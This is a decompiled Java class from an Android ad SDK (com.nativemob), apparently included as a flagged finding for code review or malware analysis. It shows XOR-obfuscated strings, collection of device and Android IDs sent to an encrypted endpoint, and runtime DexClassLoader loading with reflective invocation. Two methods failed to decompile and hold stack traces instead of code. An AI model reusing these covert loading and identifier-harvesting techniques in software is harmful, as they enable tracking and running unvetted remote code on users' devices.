Code with Finding: |
/*
* Decompiled with CFR 0_128.
*
* Could not load the following classes:
* android.content.BroadcastReceiver
* android.content.Context
* android.content.Intent
* android.os.Handler
* android.util.Base64
* android.util.Log
* com.nativemob.client.AppSettings
* com.nativemob.client.NativeMobc
* com.nativemob.client.NativeMobe
* com.nativemob.client.NativeMobf
* com.nativemob.client.NativeMobh
* com.nativemob.client.NativeMobk
* com.nativemob.client.ServiceResponse
* com.nativemob.client.cloudmessage.CloudMessageRegistrar
* com.nativemob.client.helper.NativeHelper
* com.nativemob.client.http.HttpParamBuilder
* com.nativemob.client.http.HttpUtils
* com.nativemob.gson.Gson
* com.nativemob.gson.GsonBuilder
* dalvik.system.DexClassLoader
*/
package com.nativemob.client;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.util.Base64;
import android.util.Log;
import com.nativemob.client.AppSettings;
import com.nativemob.client.NativeMobc;
import com.nativemob.client.NativeMobe;
import com.nativemob.client.NativeMobf;
import com.nativemob.client.NativeMobh;
import com.nativemob.client.NativeMobk;
import com.nativemob.client.ServiceResponse;
import com.nativemob.client.cloudmessage.CloudMessageRegistrar;
import com.nativemob.client.helper.NativeHelper;
import com.nativemob.client.http.HttpParamBuilder;
import com.nativemob.client.http.HttpUtils;
import com.nativemob.gson.Gson;
import com.nativemob.gson.GsonBuilder;
import dalvik.system.DexClassLoader;
import java.lang.reflect.Method;
import java.util.Map;
final class NativeMobd
extends NativeMobc
implements Runnable {
private static volatile NativeMobd NativeMobh;
private static final String[] b;
private NativeMobk NativeMobi;
private Handler NativeMobj;
private Gson NativeMobk;
private final String NativeMobl;
private NativeMobh NativeMobm;
/*
* Unable to fully structure code
* Enabled aggressive block sorting
* Lifted jumps to return sites
*/
static {
var0 = new String[39];
var1_1 = 0;
var2_2 = null;
var3_3 = "longStr1[\u0003\u00d5u7M4\u00f1\u001b\u000f%]";
var4_4 = var3_3.length();
var5_5 = 8;
var6_6 = -1;
block11 : do {
var7_7 = var6_6 + 1;
var6_6 = var7_7 + var5_5;
var8_8 = var3_3.substring(var7_7, var6_6);
var9_9 = -1;
var6_6 = var4_4;
var10_10 = var3_3;
var11_11 = var1_1;
var2_2 = var8_8;
var12_12 = var9_9;
do {
var2_2 = var2_2.toCharArray();
var13_13 = var2_2.length;
var14_14 = 0;
var15_15 = 1;
if (var13_13 > var15_15) ** GOTO lbl63
do {
var16_16 = var2_2;
var17_17 = var14_14;
var9_9 = var13_13;
var18_18 = var2_2;
var1_1 = var13_13;
do {
var19_19 = var18_18[var14_14];
var20_20 = var17_17 % 7;
switch (var20_20) {
default: {
var20_20 = 149;
break;
}
case 0: {
var20_20 = 104;
break;
}
case 1: {
var20_20 = 176;
break;
}
case 2: {
var20_20 = 12;
break;
}
case 3: {
var20_20 = 64;
break;
}
case 4: {
var20_20 = 34;
break;
}
case 5: {
var20_20 = 70;
}
}
var18_18[var14_14] = var20_20 = (int)((char)(var20_20 ^ var19_19));
var14_14 = var17_17 + 1;
if (var1_1 != 0) break;
var18_18 = var16_16;
var17_17 = var14_14;
var14_14 = var1_1;
} while (true);
var13_13 = var1_1;
var2_2 = var16_16;
lbl63: // 2 sources:
} while (var13_13 > var14_14);
super((char[])var2_2);
var2_2 = var18_18.intern();
switch (var12_12) {
default: {
var12_12 = var11_11 + 1;
var0[var11_11] = var2_2;
var1_1 = var7_7 + var5_5;
if (var1_1 < var6_6) {
var5_5 = var10_10.charAt(var1_1);
var3_3 = var10_10;
var4_4 = var6_6;
var6_6 = var1_1;
var1_1 = var12_12;
continue block11;
}
var10_10 = "\u001e\u00d5~3K)\u00fb\u00068\u00e5N\u001fk\u0002";
var6_6 = var10_10.length();
var1_1 = 7;
var11_11 = -1;
break;
}
case 0: {
var12_12 = var11_11 + 1;
var0[var11_11] = var2_2;
var11_11 = var7_7 + var5_5;
if (var11_11 >= var6_6) {
NativeMobd.b = var0;
return;
}
var1_1 = var10_10.charAt(var11_11);
}
}
var7_7 = var11_11 + 1;
var11_11 = var7_7 + var1_1;
var21_21 = var10_10.substring(var7_7, var11_11);
var3_3 = null;
var9_9 = 0;
var11_11 = var12_12;
var12_12 = 0;
var8_8 = null;
var5_5 = var1_1;
var2_2 = var21_21;
} while (true);
break;
} while (true);
}
private NativeMobd(Context context) {
String string;
super(context);
Object object = new Object();
object = object.create();
this.NativeMobk = object;
object = b;
this.NativeMobl = string = object[21];
object = object[30].getBytes();
super((byte[])object);
this.NativeMobm = string;
object = new Object();
this.NativeMobj = object;
object = new Object(this);
object.start();
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
static NativeMobd NativeMoba(Context context) {
NativeMobd nativeMobd = NativeMobh;
if (nativeMobd == null) {
Class<NativeMobd> class_ = NativeMobd.class;
synchronized (class_) {
nativeMobd = NativeMobh;
if (nativeMobd == null) {
NativeMobh = nativeMobd = new NativeMobd(context);
}
}
}
return NativeMobh;
}
static NativeMobk NativeMoba(NativeMobd nativeMobd) {
return nativeMobd.NativeMobi;
}
/*
* Loose catch block
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
* Lifted jumps to return sites
*/
private void NativeMoba() {
Object object = new Object();
Gson gson = b;
Object object2 = gson[3];
Object object3 = this.getContext().getPackageName();
object.put(object2, object3);
object2 = gson[31];
object3 = NativeHelper.getAndroidID((Context)this.getContext());
object.put(object2, object3);
object2 = gson[13];
object3 = NativeHelper.getDeviceID((Context)this.getContext());
object.put(object2, object3);
object2 = gson[37];
int n = this.getVersion();
object3 = n;
object.put(object2, object3);
object2 = gson[26];
object3 = AppSettings.getOpt((Context)this.getContext()).getPublisherId();
object.put(object2, object3);
int n2 = 2;
object2 = gson[n2];
object3 = AppSettings.getOpt((Context)this.getContext()).getAppToken();
object.put(object2, object3);
object3 = this.NativeMobm;
int n3 = 21;
gson = gson[n3];
n3 = 0;
gson = Base64.decode((String)gson, (int)0);
gson = object3.decrypt((byte[])gson);
object2 = new Object((byte[])gson);
object = HttpUtils.getString((String)object2, (HttpParamBuilder)object);
object = ServiceResponse.from((Object)object);
int n4 = 200;
{
catch (Exception exception) {
exception.printStackTrace();
return;
}
}
n2 = object.getResponseStatus();
if (n4 != n2) return;
{
catch (Exception exception) {
throw exception;
}
}
gson = this.NativeMobk;
object = object.getDataString();
object2 = NativeMobk.class;
object = gson.fromJson((String)object, (Class)object2);
object = this.NativeMobi = (object = (NativeMobk)object);
object = object.getAdUnit();
boolean bl = NativeHelper.isNotEmpty((Map)object);
if (!bl) return;
object = this.NativeMobi;
object = object.getAdUnit();
this.NativeMoba((Map)object);
return;
}
/*
* Loose catch block
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
* Lifted jumps to return sites
*/
private void NativeMoba(String string, BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
Object[] arrobject;
int n2;
Object object2;
Object object;
int n;
try {
Class<BroadcastReceiver> class_;
object2 = this.NativeMoba(string);
object = this.getClassLoader();
object2 = object.loadClass((String)object2);
object = b;
n2 = 18;
object = object[n2];
n2 = 3;
arrobject = new Class[n2];
n = 0;
arrobject[0] = class_ = BroadcastReceiver.class;
n = 1;
arrobject[n] = class_ = Context.class;
n = 2;
arrobject[n] = class_ = Intent.class;
object2 = object2.getMethod((String)object, (Class<?>[])arrobject);
}
catch (Exception exception) {
exception.printStackTrace();
return;
}
boolean bl = object2.isAccessible();
if (!bl) {
bl = true;
object2.setAccessible(bl);
}
bl = false;
object = null;
n2 = 3;
{
catch (Exception exception) {
throw exception;
}
}
arrobject = new Object[n2];
n = 0;
arrobject[0] = broadcastReceiver;
n = 1;
arrobject[n] = context;
n = 2;
arrobject[n] = intent;
object2.invoke(null, arrobject);
}
/*
* Exception decompiling
*/
private void NativeMoba(Map var1_1) {
// This method has failed to decompile. When submitting a bug report, please provide this stack trace, and (if you hold appropriate legal rights) the relevant class file.
// java.lang.IllegalStateException: Backjump on non jumping statement [42] lbl222 : TryStatement: try { 36[TRYBLOCK]
// org.benf.cfr.reader.bytecode.analysis.opgraph.op3rewriters.Cleaner$1.call(Cleaner.java:44)
// org.benf.cfr.reader.bytecode.analysis.opgraph.op3rewriters.Cleaner$1.call(Cleaner.java:22)
// org.benf.cfr.reader.util.graph.GraphVisitorDFS.process(GraphVisitorDFS.java:68)
// org.benf.cfr.reader.bytecode.analysis.opgraph.op3rewriters.Cleaner.removeUnreachableCode(Cleaner.java:54)
// org.benf.cfr.reader.bytecode.analysis.opgraph.op3rewriters.RemoveDeterministicJumps.apply(RemoveDeterministicJumps.java:35)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisInner(CodeAnalyser.java:495)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisOrWrapFail(CodeAnalyser.java:196)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysis(CodeAnalyser.java:141)
// org.benf.cfr.reader.entities.attributes.AttributeCode.analyse(AttributeCode.java:95)
// org.benf.cfr.reader.entities.Method.analyse(Method.java:370)
// org.benf.cfr.reader.entities.ClassFile.analyseMid(ClassFile.java:852)
// org.benf.cfr.reader.entities.ClassFile.analyseTop(ClassFile.java:753)
// org.benf.cfr.reader.Main.doClass(Main.java:46)
// org.benf.cfr.reader.Main.main(Main.java:190)
// ReviewPreparator.unZipIt(ReviewPreparator.java:54)
// PrepareAndSendToReview$.$anonfun$prepareAndSendToReview$4(PrepareAndSendToReview.scala:37)
// scala.collection.TraversableLike.$anonfun$map$1(TraversableLike.scala:234)
// scala.collection.immutable.HashSet$HashSet1.foreach(HashSet.scala:320)
// scala.collection.immutable.HashSet$HashTrieSet.foreach(HashSet.scala:976)
// scala.collection.immutable.HashSet$HashTrieSet.foreach(HashSet.scala:976)
// scala.collection.TraversableLike.map(TraversableLike.scala:234)
// scala.collection.TraversableLike.map$(TraversableLike.scala:227)
// scala.collection.AbstractSet.scala$collection$SetLike$$super$map(Set.scala:47)
// scala.collection.SetLike.map(SetLike.scala:101)
// scala.collection.SetLike.map$(SetLike.scala:101)
// scala.collection.AbstractSet.map(Set.scala:47)
// PrepareAndSendToReview$.prepareAndSendToReview(PrepareAndSendToReview.scala:35)
// PrepareAndSendToReview$.main(PrepareAndSendToReview.scala:12)
// PrepareAndSendToReview.main(PrepareAndSendToReview.scala)
throw new IllegalStateException("Decompilation failed");
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
private void NativeMobc() {
synchronized (this) {
block6 : {
NativeMobk nativeMobk;
block5 : {
nativeMobk = this.NativeMobi;
if (nativeMobk != null) break block5;
break block6;
}
nativeMobk = this.NativeMobj;
NativeMobf nativeMobf = new NativeMobf(this);
nativeMobk.post((Runnable)nativeMobf);
}
return;
}
}
public static void reloadSdk(Context context) {
NativeMobh = null;
System.gc();
NativeMobd.NativeMoba(context);
}
/*
* Loose catch block
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
* Converted monitor instructions to comments
* Lifted jumps to return sites
*/
String NativeMoba(String string) {
Class<String> class_;
// MONITORENTER : this
Object object2 = this.getClassLoader();
Object object = b;
int n = 12;
Object[] arrobject = object[n];
object2 = object2.loadClass((String)arrobject);
n = 9;
object = object[n];
n = 1;
arrobject = new Class[n];
int n2 = 0;
arrobject[0] = class_ = String.class;
object2 = object2.getDeclaredMethod((String)object, (Class<?>[])arrobject);
{
catch (Exception exception2) {
exception2.printStackTrace();
object = new Object();
arrobject = b;
n2 = 10;
arrobject = arrobject[n2];
object = object.append((String)arrobject);
object2 = exception2.getMessage();
object2 = object.append((String)object2);
object = ")";
object2 = object2.append((String)object);
object2 = object2.toString();
NativeHelper.log((String)object2);
return "";
}
}
boolean bl = object2.isAccessible();
if (!bl) {
bl = true;
object2.setAccessible(bl);
}
bl = false;
object = null;
n = 1;
arrobject = new Object[n];
n2 = 0;
arrobject[0] = string;
object2 = object2.invoke(null, arrobject);
object2 = (String)object2;
return object2;
catch (Exception exception) {
throw exception;
}
}
void NativeMoba(BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
synchronized (this) {
Object object = b;
int n = 15;
object = object[n];
this.NativeMoba((String)object, broadcastReceiver, context, intent);
return;
}
}
void NativeMobb(BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
synchronized (this) {
Object object = b;
int n = 14;
object = object[n];
this.NativeMoba((String)object, broadcastReceiver, context, intent);
return;
}
}
/*
* Enabled force condition propagation
* Lifted jumps to return sites
*/
boolean NativeMobb() {
DexClassLoader dexClassLoader = this.getClassLoader();
if (dexClassLoader == null) return false;
return true;
}
void NativeMobc(BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
synchronized (this) {
Object object = b;
int n = 32;
object = object[n];
this.NativeMoba((String)object, broadcastReceiver, context, intent);
return;
}
}
void NativeMobd(BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
synchronized (this) {
Object object = b;
int n = 28;
object = object[n];
this.NativeMoba((String)object, broadcastReceiver, context, intent);
return;
}
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
protected Class loadClass(String string) {
synchronized (this) {
boolean bl;
while (!(bl = this.NativeMobb())) {
}
return super.loadClass(string);
}
}
/*
* Exception decompiling
*/
protected void processLibrary() {
// This method has failed to decompile. When submitting a bug report, please provide this stack trace, and (if you hold appropriate legal rights) the relevant class file.
// org.benf.cfr.reader.util.ConfusedCFRException: Started 2 blocks at once
// org.benf.cfr.reader.bytecode.analysis.opgraph.Op04StructuredStatement.getStartingBlocks(Op04StructuredStatement.java:395)
// org.benf.cfr.reader.bytecode.analysis.opgraph.Op04StructuredStatement.buildNestedBlocks(Op04StructuredStatement.java:473)
// org.benf.cfr.reader.bytecode.analysis.opgraph.Op03SimpleStatement.createInitialStructuredBlock(Op03SimpleStatement.java:2880)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisInner(CodeAnalyser.java:816)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisOrWrapFail(CodeAnalyser.java:196)
// org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysis(CodeAnalyser.java:141)
// org.benf.cfr.reader.entities.attributes.AttributeCode.analyse(AttributeCode.java:95)
// org.benf.cfr.reader.entities.Method.analyse(Method.java:370)
// org.benf.cfr.reader.entities.ClassFile.analyseMid(ClassFile.java:852)
// org.benf.cfr.reader.entities.ClassFile.analyseTop(ClassFile.java:753)
// org.benf.cfr.reader.Main.doClass(Main.java:46)
// org.benf.cfr.reader.Main.main(Main.java:190)
// ReviewPreparator.unZipIt(ReviewPreparator.java:54)
// PrepareAndSendToReview$.$anonfun$prepareAndSendToReview$4(PrepareAndSendToReview.scala:37)
// scala.collection.TraversableLike.$anonfun$map$1(TraversableLike.scala:234)
// scala.collection.immutable.HashSet$HashSet1.foreach(HashSet.scala:320)
// scala.collection.immutable.HashSet$HashTrieSet.foreach(HashSet.scala:976)
// scala.collection.immutable.HashSet$HashTrieSet.foreach(HashSet.scala:976)
// scala.collection.TraversableLike.map(TraversableLike.scala:234)
// scala.collection.TraversableLike.map$(TraversableLike.scala:227)
// scala.collection.AbstractSet.scala$collection$SetLike$$super$map(Set.scala:47)
// scala.collection.SetLike.map(SetLike.scala:101)
// scala.collection.SetLike.map$(SetLike.scala:101)
// scala.collection.AbstractSet.map(Set.scala:47)
// PrepareAndSendToReview$.prepareAndSendToReview(PrepareAndSendToReview.scala:35)
// PrepareAndSendToReview$.main(PrepareAndSendToReview.scala:12)
// PrepareAndSendToReview.main(PrepareAndSendToReview.scala)
throw new IllegalStateException("Decompilation failed");
}
/*
* Enabled aggressive block sorting
* Enabled unnecessary exception pruning
* Enabled aggressive exception aggregation
*/
public void run() {
Object object;
Object object2;
try {
object = this.getContext();
object2 = NativeMobe.class;
object2 = object2.getName();
CloudMessageRegistrar.proxy((Context)object, (String)object2);
this.processLibrary();
}
catch (Exception exception) {
exception.printStackTrace();
}
object = b;
object2 = object[34];
StringBuilder stringBuilder = new StringBuilder();
object = object[1];
object = stringBuilder.append((String)object);
int n = this.getVersion();
object = object.append(n).toString();
Log.i((String)object2, (String)object);
}
}
|